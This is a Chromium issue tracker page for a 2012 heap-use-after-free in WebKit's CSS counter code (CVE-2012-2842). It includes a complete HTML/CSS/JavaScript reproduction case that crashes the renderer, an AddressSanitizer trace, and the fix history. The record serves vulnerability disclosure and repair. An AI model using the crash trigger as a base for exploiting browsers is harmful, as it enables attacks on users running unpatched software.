New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 129898 link

Starred by 2 users

Issue metadata

Status: Fixed
Owner:
Email to this user bounced
Closed: Dec 2012
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Heap-use-after-free in WebCore::CounterNode::lastDescendant

Reported by miau...@gmail.com, May 26 2012

Issue description


VULNERABILITY DETAILS
use-after-free in WebCore::CounterNode::lastDescendant()

VERSION
Chrome Version: dev, stable,

Chromium	21.0.1152.0 (Developer Build 139183)
OS	Linux
WebKit	537.1 (@118560)
JavaScript	V8 3.11.6.2

Operating System: 64bit precise

REPRODUCTION CASE
<html>
  <head>
    <style>
      #el0::after {
        content: counter(c);
        counter-increment: c;
      } 
      #el1 {
        content: counter(c);
        counter-increment: c;
      } 
      #el2 {
        content: counter(c);
        counter-increment: c;
      } 
      #el2::after {
        content: counter(c);
      }
      #el3 {
        position: absolute;
      } 
      #el3::before {
        content: counter(c);
        counter-reset: c;
      } 
      #el3:after {
        content: counter(c);
        counter-reset: c;
      }
      #el4 {
        counter-increment: c;
      } 
      #el5 {
        content: counter(c);
        counter-increment: c;
      } 
    </style>
    <script>
      onload = function() {
        el0=document.createElement('span')
        el0.setAttribute('id','el0')
        document.body.appendChild(el0)
        el1=document.createElement('div')
        el1.setAttribute('id', 'el1')
        el0.appendChild(el1)
        el2=document.createElement('div')
        el2.setAttribute('id', 'el2')
        el0.appendChild(el2)
        el3=document.createElement('div')
        el3.setAttribute('id','el3')
        el2.appendChild(el3)
        el4=document.createElement('span')
        el4.setAttribute('id','el4')
        el2.appendChild(el4)
        el5=document.createElement('div')
        el5.setAttribute('id', 'el5')
        el0.appendChild(el5)
        document.body.offsetTop
        document.styleSheets[0].insertRule("#el2::after { counter-increment: c; } ", document.styleSheets[0].length) 
        document.body.offsetTop
        document.styleSheets[0].insertRule("xyz { } ", document.styleSheets[0].length) 
      }
    </script>
  </head>
  <body>
  </body>
</html>


FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: renderer + asan
Crash State: 


==32268== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffecb1afc0 at pc 0x55555b221825 bp 0x7fffffff8300 sp 0x7fffffff82f8
READ of size 8 at 0x7fffecb1afc0 thread T0
    #0 0x55555b221825 in WebCore::CounterNode::lastDescendant() const ???:0
    #1 0x55555b20b7f1 in WebCore::destroyCounterNodeWithoutMapRemoval(WTF::AtomicString const&, WebCore::CounterNode*) third_party/WebKit/Source/WebCore/rendering/RenderCounter.cpp:0


0x7fffecb1afc0 is located 64 bytes inside of 72-byte region [0x7fffecb1af80,0x7fffecb1afc8)
freed by thread T0 here:
    #0 0x55555e5577e2 in free ??:0
    #1 0x55555b20eab5 in void WTF::deleteOwnedPtr<WTF::HashMap<WTF::RefPtr<WTF::AtomicStringImpl>, WTF::RefPtr<WebCore::CounterNode>, WTF::PtrHash<WTF::RefPtr<WTF::AtomicStringImpl> >, WTF::HashTraits<WTF::RefPtr<WTF::AtomicStringImpl> >, WTF::HashTraits<WTF::RefPtr<WebCore::CounterNode> > > >(WTF::HashMap<WTF::RefPtr<WTF::AtomicStringImpl>, WTF::RefPtr<WebCore::CounterNode>, WTF::PtrHash<WTF::RefPtr<WTF::AtomicStringImpl> >, WTF::HashTraits<WTF::RefPtr<WTF::AtomicStringImpl> >, WTF::HashTraits<WTF::RefPtr<WebCore::CounterNode> > >*) ???:0
    #2 0x55555b20b561 in WebCore::RenderCounter::destroyCounterNodes(WebCore::RenderObject*) ???:0
    #3 0x55555b20c123 in WebCore::RenderCounter::rendererRemovedFromTree(WebCore::RenderObject*) ???:0
    #4 0x55555b09f8cf in WebCore::RenderObjectChildList::removeChildNode(WebCore::RenderObject*, WebCore::RenderObject*, bool) ???:0

 
6472.html
1.7 KB View Download
6472.txt
11.0 KB View Download
stable-6472.txt
10.6 KB View Download
Summary: Heap-use-after-free in WebCore::CounterNode::lastDescendant
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=51567635

Uploader: jschuh@chromium.org

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7f947aea8bc0
Crash State:
  - crash stack -
  WebCore::CounterNode::lastDescendant
  WebCore::destroyCounterNodeWithoutMapRemoval
  - free stack -
  void WTF::deleteOwnedPtr<WTF::HashMap<WTF::RefPtr<WTF::AtomicStringImpl>, WTF::RefPtr<WebCore::Count
  WebCore::RenderCounter::destroyCounterNodes
  

Minimized Testcase (1.62 Kb): https://cluster-fuzz.appspot.com/download/AMIfv96kQ6stst4hW3K-B5tfI3o1YcG29qNhmVMgeGP95s1BPBtT-YYRvHkeOglgqVTg5PcPidTiGz6oVTiQsEkxWGsVvmNjYoocm0AK9Lb-jzwVDfsYIv5PktDT1Nuou9zRUDNJtsy_IaVAtfr7mJJGmFSBAM6uag
Labels: -Pri-0 -Area-Undefined Pri-1 Area-WebKit SecImpacts-Stable SecImpacts-Beta OS-All Mstone-19 Stability-AddressSanitizer
Status: Available
Labels: SecSeverity-High
This is a CounterNode map issue and not RenderCounter issue. The CounterNode maintains raw pointers to its parent, next, previous, first child and last siblings. and once tree goes into a bad state, its cannot track the frees. 

Comment 5 by jsc...@chromium.org, May 27 2012

Cc: cdn@chromium.org
I think @cdn might want to take a look at this. He was under the impression that we couldn't get this kind of counter tree corruption anymore.

Comment 6 by cdn@chromium.org, May 28 2012

I'll take a look. The stack trace looks all too familiar.
Cc: -cdn@chromium.org
Labels: reward-topanel
Owner: cdn@chromium.org
Status: Assigned

Comment 8 by cdn@chromium.org, Jun 1 2012

filed upstream as https://bugs.webkit.org/show_bug.cgi?id=88142
Labels: -Restrict-View-SecurityTeam -Mstone-19 Restrict-View-SecurityNotify Mstone-20 Merge-Approved
Status: FixUnreleased
Committed r120801: <http://trac.webkit.org/changeset/120801>

Good perseverence from cdn :)
Labels: -reward-topanel reward-1000 reward-unpaid
$1000
Labels: -reward-unpaid
Labels: -Merge-Approved Merge-Merged
M20: http://trac.webkit.org/changeset/122122
M21: http://trac.webkit.org/changeset/122123
Labels: CVE-2012-2842
Project Member

Comment 14 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Status: Fixed
Project Member

Comment 16 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-WebKit -SecImpacts-Stable -SecImpacts-Beta -Mstone-20 -Stability-AddressSanitizer -SecSeverity-High Cr-Content M-20 Security-Impact-Stable Security-Impact-Beta Performance-Memory-AddressSanitizer Type-Bug-Security Security-Severity-High
Project Member

Comment 17 by bugdroid1@chromium.org, Mar 13 2013

Labels: Restrict-View-EditIssue
Project Member

Comment 18 by bugdroid1@chromium.org, Mar 14 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member

Comment 20 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-High Security_Severity-High
Project Member

Comment 21 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 22 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 23 by bugdroid1@chromium.org, Apr 1 2013

Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer
Project Member

Comment 24 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 25 by sheriffbot@chromium.org, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 26 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 27 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

Sign in to add a comment